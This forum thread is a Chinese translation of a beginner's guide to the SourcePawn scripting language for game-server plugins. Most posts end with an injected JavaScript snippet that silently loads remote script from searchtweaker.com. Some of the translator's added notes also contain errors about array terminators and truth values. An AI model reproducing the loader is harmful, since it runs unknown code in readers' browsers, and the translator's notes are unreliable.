廣告廣告
  加入我的最愛 設為首頁 風格修改
首頁 首尾
 手機版   訂閱   地圖  簡體 
您是第 13584 個閱讀者
 
<<   1   2   3  下頁 >>(共 3 頁)
發表文章 發表投票 回覆文章
  可列印版   加為IE收藏   收藏主題   上一主題 | 下一主題   
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 版主評分 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
推文 x5
[插件] [插件編程]SourcePawn入門指南  (CS:S插件語言;翻譯進行中;最後更新2013/11/8;)

譯者序


此教學是AlliedModders官方WIKI上的教學,

該教學可面相非程序員之閱讀者,

無編寫程式者請安心服用,且此教學並不會教您編寫插件,

此教程僅僅為述說如何使用Pawn腳本語言。


另外,

因小弟能力有限,盡量保持原意與文筆流暢,

若有翻譯繆誤之處請多多回報。


此篇教程,歡迎轉載。

SourcePawn入門指南

該指南的宗旨在於提供您一個SourcePawn的基本概念。

SourcePawn是一個腳本語言,用來嵌合於其他的程式語言,

這意味著它並非一個獨立的程式語言,如C++或是JAVA,

以及這些技術細節將會不同於應用之程式上。



目錄

2013/11/08更新:
●已翻譯《陣列》、《宣告與賦值》
●我發現官方原版教學其實對程式新手很不親切,在往後版本我會大量補充詳細內容與增加範例,
 並且增加的部分會標注[譯者補充]的小標題。
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-08 20:14重新編輯 ]

此文章被評分,最近評分記錄
財富:100 (by 冷場館女僕長) | 理由: 教學文奬勵^^



あーう~あーう~あーう~あーう~あーう~
獻花 x3 回到頂端 [樓 主] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:16 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
給沒有編程經驗的人
給沒有編程經驗的人

本樓教學面向的是無程式經驗者,如果你還在疑惑,

也許你會拿起一本其他的程式語言書籍,來取得更好的編程知識,

像是PHP、JAVA、PYTHON都是不錯的選擇。

符號與關鍵字
A symbol is a series of letters, numbers, and/or underscores, that uniquely represents something. Symbols are case-sensitive (unlike PHP, where sometimes they are not). Symbols do not start with any special character, though they must start with a letter.
There are a few reserved symbols that have special meaning. For example, if, for, and return are special constructs in the language that will explained later. They cannot be used as symbol names.

[譯者補充]:你的第一個Pawn程式:
當你在敲下面程式時,//後面的那些文字沒有程式的功能。就像是說明一樣,用來說明程式的功用,以防自己忘記或別人看不懂。
複製程式
main(){
    new a=3;                                                //宣告一個叫a的整數變數,它的值是3
    new b=3;                                               //宣告一個叫a的整數變數,它的值是3
    printf("嗨,世界!\n");                             //在程式打出 嗨,世界!
    printf("%d乘以%d等於%d",a,b,a*b);              //在程式打出 a乘以b等於a*b
}
Variables
There a few important constructs you should know before you begin to script. The first is a variable. A variable is a symbol, or name, that holds data. For example, the variable "a" could hold the number "2", "16", "0", et cetera. Variables are created for storage space throughout a program. Variables must be declared before being used, using the "new" keyword. Data is assigned to variables using the equal sign (=). Example:
new a, b, c, d; a = 5;b = 16;c = 0;d = 500;[/pre]In SourcePawn, variables have two types, which will be explained in more detail further on.
  • Cells (arbitrary numerical data), as shown above.
  • Strings (a series of text characters)
Functions
The next important concept is functions. Functions are symbols or names that perform an action. That means when you activate them, they carry out a specific sequence of code. There are a few types of functions, but every function is activated the same way. "Calling a function" is the term for invoking a function's action. Function calls are constructed like this:
function(<parameters>)[/pre]Examples:
show(56);   //Activates "show" function, and gives the number 56 to itshow();     //Activates "show" function with no data, blankshow(a);   //Activates "show" function, gives a variable's contents as data[/pre]Every piece of data passed to a function is called a parameter. A function can have any number of parameters (there is a "reasonable" limit of 32 in SourceMod). Parameters will be explained further in the article.


Comments
Note any text that appears after a "//" is considered a "comment" and is not actual code. There are two comment styles:
  • // - Double slash, everything following on that line is ignored.
  • /* */ - Multi-line comment, everything in between the asterisks is ignored. You cannot nest these.


Block Coding
The next concept is block coding. You can group code into "blocks" separated by { and }. This effectively makes one large block of code act as one statement. For example:
{   here;   is;   some;   code;}[/pre]Block coding using braces is used everywhere in programming. Blocks of code can be nested within each other. It is a good idea to adapt a consistent and readable indentation style early on to prevent spaghetti-looking code.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-08 22:59重新編輯 ]


あーう~あーう~あーう~あーう~あーう~
獻花 x1 回到頂端 [1 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:18 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
語言規範
Language Paradigms
Pawn may seem similar to other languages, like C, but it has fundamental differences. It is not important that you immediately understand these differences, but they may be helpful if you're familiar with another language already.
  • Pawn is not typed. Pawn only has one data type, the cell. This will be explained in detail later. [Below it says that there are two types: cell and string.]
  • Pawn is not garbage collected. Pawn, as a language, has no built-in memory allocation, and thus has no garbage. If a function allocates memory, you may be responsible for freeing it.
  • Pawn is not object oriented. Pawn is procedural, and relies on subroutines. It also does not have C structs.
  • Pawn is not functional. Pawn is procedural, and does not support lambda functions or late binding or anything else you might find in a very high-level language, like Python or Ruby.
  • Pawn is single-threaded. As of this writing, Pawn is not thread safe.
  • Pawn is not interpreted. Well, it "sort of" is. It gets interpreted at a very low level. You must run your code through a compiler, which produces a binary. This binary will work on any platform that the host application uses. This speeds up loading time and lets you check errors easier.
These language design decisions were made by ITB CompuPhase. It is designed for low-level embedded devices and is thus very small and very fast.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [2 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:26 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
變數
變數
在Pawn有兩種變數型態: Cell(不知道如何翻)與String(字串). Cell是能儲存32bit的資料形態(譯者:32bit=4byte,如果以有號整數儲存其實就與C語言的int相同),字串則是以連續的空間來儲存UTF-8字元(譯者:這意味著插件能用多國語言編寫而不會有亂碼)。
Cell並沒有固有的形態,然而,Cell可以被標記形態,被標記型態之後便能使用其儲存方法。預設的標記有:
  • 什麼都不加:一般用於int形態
  • Float -用於儲存浮點數
  • bool -用來儲存Boolean(布林)的數值,即是只有true(真)與false(假)。
字串的使用方法稍有不同,下節將引以介紹。
宣告變數
以下為不同類型且正確的變數宣告:
複製程式
new a = 5;
new Float:b = 5.0;
new bool:c = true;
new bool:d = 0;     //有用的,因為false能以0代替
[譯者補充]:同理true能以1代替。不過Pawn與C語言不同的是,C語言數字在做布林值的邏輯判斷時,
只要非0的數字即為true。不過Pawn不同,它只會認定true與1這兩個數為真,false與0為假。

以下是無效的:
複製程式
new a = 5.0;       //5.0是浮點數,但是a被宣定為整數形態,無效
new Float:b = 5;     //與上同理,5是整數,不適用
如果變數沒被賦值將會是0
複製程式
new a;       //a會是0
new Float:b; //b會是0.0
new bool:c;   //c會是false
賦值
(譯者,跟大多程式語言一樣,賦值是由右邊傳到左邊的。)
變數如果在宣告時未被賦值的話,能在後來賦值,如:
複製程式
new a, Float:b, bool:c;
a = 5;
b = 5.0;
c = true;
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-08 23:02重新編輯 ]


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [3 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:27 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
陣列
陣列
陣列是用來儲存連續資料的一個連續清單。陣列用於儲存一系列的數字,並讓他們有個共通的名字,這有效地簡化了許多任務。

宣告陣列
陣列使用變數名稱+方括號來宣告,方括號內的表示該陣列儲存幾個數字:
複製程式
new players[32];     //儲存32個整數形態的數字
new Float:origin[3]; //儲存3個小數型態的數字
陣列內的數值初始皆為0。你能為那些初始數值來進行賦值:

如果將要宣告儲存哪些數字,你能不表示陣列內有多少個數字:
new numbers[] = {1, 3, 5, 7, 9};//編譯器將會自動為這個陣列分配5個位置。
複製程式
new numbers[5] = {1, 2, 3, 4, 5};     //儲存1, 2, 3, 4, 5
new Float:origin[3] = {1.0, 2.0, 3.0}; //儲存1.0, 2.0, 3.0
陣列用途
陣列的功用與一般變數無異。唯一不同的是陣列必須引索。引索其實就是指定使用陣列中第幾個數值:
複製程式
new numbers[5], Float:origin[3]; //在numbers中定義5個位置供其使用
numbers[0] = 1; //來儲存數字吧,位置0儲存1
numbers[1] = 2; //來儲存數字吧,位置1儲存2
numbers[2] = 3; //依此類推
numbers[3] = 4;
numbers[4] = 5; //最後5所在的位置在numbers[4],因為是從numbers[0]開始計算
origin[0] = 1.0;
origin[1] = 2.0;
origin[2] = 3.0;
陣列最大的有效引索值是括號內的數字-1,一切引索都由0開始。
如果搞錯了引索值將會產生程式錯誤:
複製程式
new numbers[5]; numbers[5] = 20;
上面這行看起來也許沒錯, 但5不是個有效的引索值。 最高的有效位置是4.

[譯者補充]
陣列的有效引索值為什麼要比原來的位置還少1?

學過C/C++或其他語言的人都知道,上面示範的陣列其實長這樣,
現在你只要把陣列想成一個數字組成的蜈蚣蟲:
 ----------------------
│ numbers[0] = 1    │
 ----------------------
│ numbers[1] = 2    │
 ----------------------
│ numbers[2] = 3    │
 ----------------------
│ numbers[3] = 4    │
 ----------------------
│ numbers[4] = 5    │
 ----------------------
│ numbers[5 ] ='\0'
 ----------------------
我們能看到,陣列是由第0個位置開始儲存數字,

直到陣列的最尾端,我們會看到一個很神奇的東西...0字元('\0')

'\0'是一種特殊的字元,他的功用是告訴電腦"陣列結束了!!!(´・ω・`)"

所以陣列的尾巴絕對不能使用,不然陣列會變成一隻會咬人的BUG!

也許有讀者會問說:為何不是由1開始儲存?這樣比較直觀易懂吧?
 1.電腦的最小機器碼是0,當然從0開始。
 2.從0開始這樣電腦在運算時會比較有效率... 這邊不說為什麼比較有效率,
  怕讀者看到一堆1100101 1001010跟2進位運算之類的會把網頁怒關= ="

更聰明的人會問說:那現在的程式為什麼不要設計成寫的時候能從1開始,從0開始的給編譯器去處理就好了嘛!
 1.大概是習慣...吧(´・ω・`)
 2.我不是程式語言設計者,別問我(゚∀゚ )
[譯者補充結束]
你能用任何表達式來當作引索值,例如:
複製程式
new a, numbers[5]; a = 1;             //宣告陣列與變數,a = 1
numbers[a] = 4;       //讓numbers[1] = 4,因為a=1
numbers[numbers[a]] = 2; //numbers[4] = 2,因為numbers[1] = 4
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-09 17:06重新編輯 ]


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [4 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:28 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
字串
Strings
Strings are a convenient method of storing text. The characters are stored in an array. The string is terminated by a null terminator, or a 0. Without a null terminator, Pawn would not know where to stop reading the string. All strings are UTF-8 in SourcePawn.
Notice that Strings are a combination of arrays and cells. Unlike other languages, this means you must know how much space a string will use in advance. That is, strings are not dynamic. They can only grow to the space you allocate for them.
Note for experts: They're not actually cells. SourcePawn uses 8-bit storage for String arrays as an optimization. This is what makes String a type and not a tag.
Usage
Strings are declared almost equivalently to arrays. For example:
new String:message[] = "Hello!";new String:clams[6] = "Clams";[/pre]These are equivalent to doing:
new String:message[7], String:clams[6]; message[0] = 'H';message[1] = 'e';message[2] = 'l';message[3] = 'l';message[4] = 'o';message[5] = '!';message[6] = 0;clams[0] = 'C';clams[1] = 'l';clams[2] = 'a';clams[3] = 'm';clams[4] = 's';clams[5] = 0;[/pre]Although strings are rarely initialized in this manner, it is very important to remember the concept of the null terminator, which signals the end of a string. The compiler, and most SourceMod functions will automatically null-terminate for you, so it is mainly important when manipulating strings directly.
Note that a string is enclosed in double-quotes, but a character is enclosed in single quotes.
Characters
A character of text can be used in either a String or a cell. For example:
new String:text[] = "Crab";new clam; clam = 'D';       //Set clam to 'D'text[0] = 'A';     //Change the 'C' to 'A', it is now 'Arab'clam = text[0];   //Set clam to 'A'text[1] = clam;   //Change the 'r' to 'A', is is now 'AAab'[/pre]What you can't do is mix character arrays with strings. The internal storage is different. For example:
new clams[] = "Clams";               //Invalid, needs String: typenew clams[] = {'C', 'l', 'a', 'm', 's', 0}; //Valid, but NOT A STRING.[/pre]


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [5 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:29 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
函數(函式)
Functions
Functions, as stated before, are isolated blocks of code that perform an action. They can be invoked, or called, with parameters that give specific options.
There are two types of ways functions are called:
  • direct call - You specifically call a function in your code.
  • callback - The application calls a function in your code, as if it were an event trigger.
There are six types of functions:
  • native: A direct, internal function provided by the application.
  • public: A callback function that is visible to the application and other scripts.
  • normal: A normal function that only you can call.
  • static: The scope of this function is restricted to the current file, can be used in combination with stock.
  • stock: A normal function provided by an include file. If unused, it won't be compiled.
  • forward: This function is a global event provided by the application. If you implement it, it will be a callback.
All code in Pawn must exist in functions. This is in contrast to languages like PHP, Perl, and Python which let you write global code. That is because Pawn is a callback-based language: it responds to actions from a parent application, and functions must be written to handle those actions. Although our examples often contain free-floating code, this is purely for demonstration purposes. Free-floating code in our examples implies the code is part of some function.
Declaration
Unlike variables, functions do not need to be declared before you use them. Functions have two pieces, the prototype and the body. The prototype contains the name of your function and the parameters it will accept. The body is the contents of its code.
Example of a function:
AddTwoNumbers(first, second){ new sum = first + second;  return sum;}[/pre]This is a simple function. The prototype is this line:
AddTwoNumbers(first, second)[/pre]Broken down, it means:
  • AddTwoNumbers - Name of the function.
  • first - Name of the first parameter, which is a simple cell.
  • second - Name of the second parameter, which is a simple cell.
The body is a simple block of code. It creates a new variable, called sum, and assigns it the value of the two parameters added together (more on expressions later). The important thing to notice is the return statement, which tells the function to end and return a value to the caller of the function. All functions return a cell upon completion. That means, for example:
new sum = AddTwoNumbers(4, 5);[/pre]The above code will assign the number 9 to sum. The function adds the two inputs, and the sum is given as the return value. If a function has no return statement or does not place a value in the return statement, it returns 0 by default.
A function can accept any type of input. It can return any cell, but not arrays or strings. Example:
Float:AddTwoFloats(Float:a, Float:b){   new Float:sum = a + b;    return sum;}[/pre]Note that if in the above function, you returned a non-Float, you would get a tag mismatch.
You can, of course, pass variables to functions:
new numbers[3] = {1, 2, 0}; numbers[2] = AddTwoNumbers(numbers[0], numbers[1]);[/pre]Note that cells are passed by value. That is, their value cannot be changed by the function. For example:
new a = 5; ChangeValue(a); ChangeValue(b){   b = 5;}[/pre]This code would not change the value of a. That is because a copy of the value in a is passed instead of a itself.
More examples of functions will be provided throughout the article.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [6 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:31 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
表達式
Expressions
Expressions are exactly the same as they are in mathematics. They are groups of operators/symbols which evaluate to one piece of data. They are often parenthetical (comprised of parenthesis). They contain a strict "order of operations." They can contain variables, functions, numbers, and expressions themselves can be nested inside other expressions, or even passed as parameters.
The simplest expression is a single number. For example:
0;   //Returns the number 0(0); //Returns the number 0 as well[/pre]Although expressions can return any value, they are also said to either return zero or non-zero. In that sense, zero is false, and non-zero is true. For example, -1 is true in Pawn, since it is non-zero. Do not assume negative numbers are false.
The order of operations for expressions is similar to C. PMDAS: Parenthesis, Multiplication, Division, Addition, Subtraction. Here are some example expressions:
5 + 6;             //Evaluates to 115 * 6 + 3;           //Evaluates to 335 * (6 + 3);         //Evaluates to 455.0 + 2.3;           //Evaluates to 7.3(5 * 6) % 7;         //Modulo operator, evaluates to 2(5 + 3) / 2 * 4 - 9;   //Evaluates to -8[/pre]As noted, expressions can contain variables, or even functions:
new a = 5 * 6;new b = a * 3;     //Evaluates to 90new c = AddTwoNumbers(a, b) + (a * b);[/pre]Note: String manipulation routines may be found in the string.inc file located in the include subdirectory. They may be browsed through the API Reference as well.
Operators
There are a few extra helpful operators in Pawn. The first set simplifies self-aggregation expressions. For example:
new a = 5; a = a + 5;[/pre]Can be rewritten as:
new a = 5;a += 5;[/pre]This is true of the following operators in Pawn:
  • Four-function: *, /, -, +
  • Bit-wise: |, &, ^, ~, <<, >>
Additionally, there are increment/decrement operators:
a = a + 1;a = a - 1;[/pre]Can be simplified as:
a++;a--;[/pre]As an advanced note, the ++ or -- can come before the variable (pre-increment, pre-decrement) or after the variable (post-increment, post-decrement). The difference is in how the rest of the expression containing them sees their result.
  • Pre: The variable is incremented before evaluation, and the rest of the expression sees the new value.
  • Post: The variable is incremented after evaluation, and the rest of the expression sees the old value.
In other words, a++ evaluates to the value of a while ++a evaluates to the value of a + 1. In both cases a is incremented by 1.
For example:
new a = 5;new b = a++;   // b = 5, a = 6 (1)new c = ++a;   // a = 7, c = 7 (2)[/pre]In (1) b is assigned a's old value before it is incremented to 6, but in (2) c is assigned a's new value after it is incremented to 7.
Comparison Operators
There are six operators for comparing two values numerically, and the result is either true (non-zero) or false (zero):
  • a == b - True if a and b have the same value.
  • a != b - True if a and b have different values.
  • a > b - True if a is greater than b
  • a >= b - True if a is greater than or equal to b
  • a < b - True if a is less than b
  • a <= b - True if a is less than or equal to b
For example:
(1 != 3);       //Evaluates to true because 1 is not equal to 3.(3 + 3 == 6);   //Evaluates to true because 3+3 is 6.(5 - 2 >= 4);   //Evaluates to false because 3 is less than 4.[/pre]Note that these operators do not work on arrays or strings. That is, you cannot compare either using ==.
Truth Operators
These truth values can be combined using three boolean operators:
  • a && b - True if both a and b are true. False if a or b (or both) is false.
  • a || b - True if a or b (or both) is true. False if both a and b are false.
  • !a - True if a is false. False if a is true.
For example:
(1 || 0);       //Evaluates to true because the expression 1 is true(1 && 0);       //Evaluates to false because the expression 0 is false(!1 || 0);     //Evaluates to false because !1 is false.[/pre] Left/Right Values
Two important concepts are left-hand and right-hand values, or l-values and r-values. An l-value is what appears on the left-hand side of a variable assignment, and an r-value is what appears on the right side of a variable assignment.
For example:
new a = 5;[/pre]In this example a is an l-value and 5 is an r-value.
The rules:
  • Expressions are never l-values.
  • Variables are both l-values and r-values.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [7 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:35 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
控制結構
Conditionals
Conditional statements let you only run code if a certain condition is matched.
If Statements
If statements test one or more conditions. For example:
if (a == 5){   /* Code that will run if the expression was true */}[/pre]They can be extended to handle more cases as well:
if (a == 5){   /* Code */}else if (a == 6){   /* Code */}else if (a == 7){   /* Code */}[/pre]You can also handle the case of no expression being matched. For example:
if (a == 5){   /* Code */}else{   /* Code that will run if no expressions were true */}[/pre] Switch Statements
Switch statements are restricted if statements. They test one expression for a series of possible values. For example:
switch (a){   case 5:   {     /* code */   }   case 6:   {     /* code */   }   case 7:   {     /* code */   }   case 8, 9, 10:   {     /* Code */   }   default:   {     /* will run if no case matched */   }}[/pre]Unlike some other languages, switches are not fall-through. That is, multiple cases will never be run. When a case matches its code is executed, and the switch is then immediately terminated.
Loops
Loops allow you to conveniently repeat a block of code while a given condition remains true.
For Loops
For loops are loops which have four parts:
  • The initialization statement - run once before the first loop.
  • The condition statement - checks whether the next loop should run, including the first one. The loop terminates when this expression evaluates to false.
  • The iteration statement - run after each loop.
  • The body block - run each time the condition statement evaluates to true.
for ( /* initialization */ ; /* condition */ ; /* iteration */ ){   /* body */}[/pre]A simple example is a function to sum an array:
new array[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};new sum = SumArray(array, 10); SumArray(const array[], count){   new total;    for (new i = 0; i < count; i++)   {     total += array[i];   }    return total;}[/pre]Broken down:
  • new i = 0 - Creates a new variable for the loop, sets it to 0.
  • i < count - Only runs the loop if i is less than count. This ensures that the loop stops reading at a certain point. In this case, we don't want to read invalid indexes in the array.
  • i++ - Increments i by one after each loop. This ensures that the loop doesn't run forever; eventually i will become too big and the loop will end.
Thus, the SumArray function will loop through each valid index of the array, each time adding that value of the array into a sum. For loops are very common for processing arrays like this.
While Loops
While loops are less common than for loops but are actually the simplest possible loop. They have only two parts:
  • The condition statement - checked before each loop. The loop terminates when it evaluates to false.
  • The body block - run each time through the loop.
while ( /* condition */ ){   /* body */}[/pre]As long as the condition expression remains true, the loop will continue. Every for loop can be rewritten as a while loop:
/* initialization */while ( /* condition */ ){   /* body */   /* iteration */}[/pre]Here is the previous for loop rewritten as a while loop:
SumArray(const array[], count){   new total, i;    while (i < count)   {     total += array[i];     i++;   }    return total;}[/pre]There are also do...while loops which are even less common. These are the same as while loops except the condition check is AFTER each loop, rather than before. This means the loop is always run at least once. For example:
do{   /* body */}while ( /* condition */ );[/pre] Loop Control
There are two cases in which you want to selectively control a loop:
  • skipping one iteration of the loop but continuing as normal, or;
  • breaking the loop entirely before it's finished.
Let's say you have a function which takes in an array and searches for a matching number. You want it to stop once the number is found:
/** * Returns the array index where the value is, or -1 if not found. */SearchInArray(const array[], count, value){   new index = -1;    for (new i = 0; i < count; i++)   {     if (array[i] == value)     {       index = i;       break;     }   }    return index;}[/pre]Certainly, this function could simply return i instead, but the example shows how break will terminate the loop.
Similarly, the continue keyword skips an iteration of a loop. For example, let's say we wanted to sum all even numbers:
SumEvenNumbers(const array[], count){   new sum;    for (new i = 0; i < count; i++)   {     /* If divisibility by 2 is 1, we know it's odd */     if (array[i] % 2 == 1)     {       /* Skip the rest of this loop iteration */       continue;     }     sum += array[i];   }    return sum;}[/pre](function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [8 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:38 |
++HAUN 手機
個人頭像
個人文章 個人相簿 個人日記 個人地圖
小有名氣
級別: 小有名氣 該用戶目前不上站
推文 x55 鮮花 x410
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
作用域(範圍)
Scope
Scope refers to the visibility of code. That is, code at one level may not be "visible" to code at another level. For example:
new A, B, C; Function1(){   new B;    Function2();} Function2(){   new C;}[/pre]In this example, A, B, and C exist at global scope. They can be seen by any function. However, the B in Function1 is not the same variable as the B at the global level. Instead, it is at local scope, and is thus a local variable.
Similarly, Function1 and Function2 know nothing about each other's variables.
Not only is the variable private to Function1, but it is re-created each time the function is invoked. Imagine this:
Function1(){   new B;    Function1();}[/pre]In the above example, Function1 calls itself. Of course, this is infinite recursion (a bad thing), but the idea is that each time the function runs, there is a new copy of B. When the function ends, B is destroyed, and the value is lost.
This property can be simplified by saying that a variable's scope is equal to the nesting level it is in. That is, a variable at global scope is visible globally to all functions. A variable at local scope is visible to all code blocks "beneath" its nesting level. For example:
Function1(){   new A;    if (A)   {     A = 5;   }}[/pre]The above code is valid since A's scope extends throughout the function. The following code, however, is not valid:
Function1(){   new A;    if (A)   {     new B = 5;   }    B = 5;}[/pre]Notice that B is declared in a new code block. That means B is only accessible to that code block (and all sub-blocks nested within). As soon as the code block terminates, B is no longer valid.


あーう~あーう~あーう~あーう~あーう~
獻花 x0 回到頂端 [9 樓] From:臺灣中華電信股份有限公司 | Posted:2013-04-07 14:43 |

<<   1   2   3  下頁 >>(共 3 頁)
首頁  發表文章 發表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.099446 second(s),query:16 Gzip disabled
本站由 瀛睿律師事務所 擔任常年法律顧問 | 免責聲明 | 本網站已依台灣網站內容分級規定處理 | 連絡我們 | 訪客留言